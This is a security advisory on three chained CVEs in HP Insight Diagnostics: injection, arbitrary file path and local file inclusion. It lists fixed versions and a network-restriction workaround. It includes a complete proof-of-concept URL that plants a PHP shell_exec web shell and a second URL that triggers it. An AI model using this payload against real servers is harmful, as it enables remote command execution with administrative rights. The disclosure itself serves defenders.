Software Engineering Institute

It has been reported that HP Insight Diagnostics 8.20 b2878 and possibly earlier versions contains multiple vulnerabilities that can be exploited by a remote attacker to execute arbitrary PHP code thus arbitrary commands with administrative privileges.

CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') - CVE-2013-3573

CWE-73: External Control of File Name or Path - CVE-2013-3574
HP Insight Diagnostics contains two vulnerabilities that together allow an attacker to inject arbitrary data into a file that is stored at an arbitrary location on the server via the "devicePath" parameter (formerly "mount" in older versions).
https://<host>:2381/hpdiags/frontend2/commands/saveCompareConfig.php?filename=comparesurvey&target=winhardrive&device=&devicePath=C:/hp/hpsmh/data/htdocs/hpdiags/frontend2/help/&category=all&advanced=yes&leftFile=surveybase.xml&leftFileName=<%3f=shell_exec($_REQUEST[0])%3b%3f>&rightFile=survey.lastwebsession.xml&rightFileName=-&changesOnly=yes&overwrite=yes

CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program - CVE-2013-3575
HP Insight Diagnostics contains a local file inclusion vulnerability that is limited to ".html" inside the "<document-root>/hpdiags/frontend2/help/" directory.
https://<host>:2381/hpdiags/frontend2/help/pageview.php?path=comparesurvey.html

By combining these vulnerabilities, an authenticated remote attacker may be able to execute arbitrary commands on the server with administrator privileges.

We are currently unaware of a practical solution to this problem.

CVE-2013-3573 - Fixed in HP Insight Diagnostics 8.20 b2878
CVE-2013-3574 - Fixed in HP Insight Diagnostics 9.52
CVE-2013-3575 - Fixed in HP Insight Diagnostics 9.52

Restrict Network Access

As a general good security practice, only allow connections from trusted hosts and networks. Restricting access would prevent an attacker from connecting to the service from a blocked network location.